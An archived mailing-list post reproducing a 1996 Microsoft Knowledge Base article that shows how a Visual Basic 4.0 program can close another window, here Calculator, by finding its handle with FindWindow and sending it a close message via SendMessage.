PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.

Copyright Microsoft Corporation 1996.

#34 From: "FDB & HRB" <ferialb@...>
Date: Thu Jun 14, 2001 6:24 am
Subject: How to Kill an Application with System Menu Using Visual Basic
ferialb@...
Send Email Send Email
 
DOCUMENT:Q142817  22-JAN-1996  [vbwin]
TITLE   :How to Kill an Application with System Menu Using Visual Basic
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbprg kbcode kbhowto

---------------------------------------------------------------------
The information in this article applies to:

  - Professional and Enterprise Editions of Microsoft Visual Basic,
    16-bit only, for Windows, version 4.0
--------------------------------------------------------------------

SUMMARY
=======

Microsoft Visual Basic for Windows can use the Microsoft Windows API
SendMessage function to close any active window that has a system menu
(referred to as the Control Box within Visual Basic for Windows) with the
Close option.

MORE INFORMATION
================

You can use the Windows API SendMessage function to post a message to any
window in the environment as long as the handle to the window is known. You
can use the API FindWindow function to determine the handle associated with
the window the user wants to close.

Query on the following words in the Microsoft Knowledge Base for more
information on the FindWindow function:

    FindWindow and Visual Basic

To create a program to close an occurrence of the Microsoft Windows version
3.0 Calculator program, do the following:

1. Create a form called Form1.

2. Create two command buttons called Command1 and Command2.

3. Within the Command1 Click event, add the following code:

    Private Sub Command1_Click()
       X% = Shell("Calc.exe")
    End Sub

4. Within the Command2 Click event, add the following code:

    Private Sub Command2_Click()
       Const NILL = 0&
       Const WM_SYSCOMMAND = &H112
       Const SC_CLOSE = &HF060

       lpClassName$ = "SciCalc"
       lpCaption$ = "Calculator"

       '* Determine the handle to the Calculator window.
       Handle = FindWindow(lpClassName$, lpCaption$)

       '* Post a message to Calc to end its existence.
       X& = SendMessage(Handle, WM_SYSCOMMAND, SC_CLOSE, NILL)

    End Sub

5. In the Declarations section, declare the following two API functions:

    ' Enter each of the following Declare statements on one, single line:
    Private Declare Function FindWindow% Lib "user" _
       (ByVal lpClassName As Any, ByVal lpCaption As Any)
    Private Declare Function SendMessage& Lib "user" _
       (ByVal hwnd%, ByVal wMsg%, ByVal wParam%, ByVal lParam As Long)

6. Run the program. Click the Command1 button to bring up an instance of
    the Calculator program. Click the Command2 button to close the window.

Additional reference words: 1.00 2.00 3.00 4.00 vb4win vb416
KBCategory: kbprg kbcode kbhowto
KBSubcategory: APrgOther

============================================================================
=

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.

Copyright Microsoft Corporation 1996.

Messages 34 - 102 of 103   Newest  |  < Newer  |  Older >  |  Oldest
Advanced
Add to My Yahoo!      XML What's This?

Copyright © 2009 Yahoo! Inc. All rights reserved.
Privacy Policy - Terms of Service - Guidelines - Help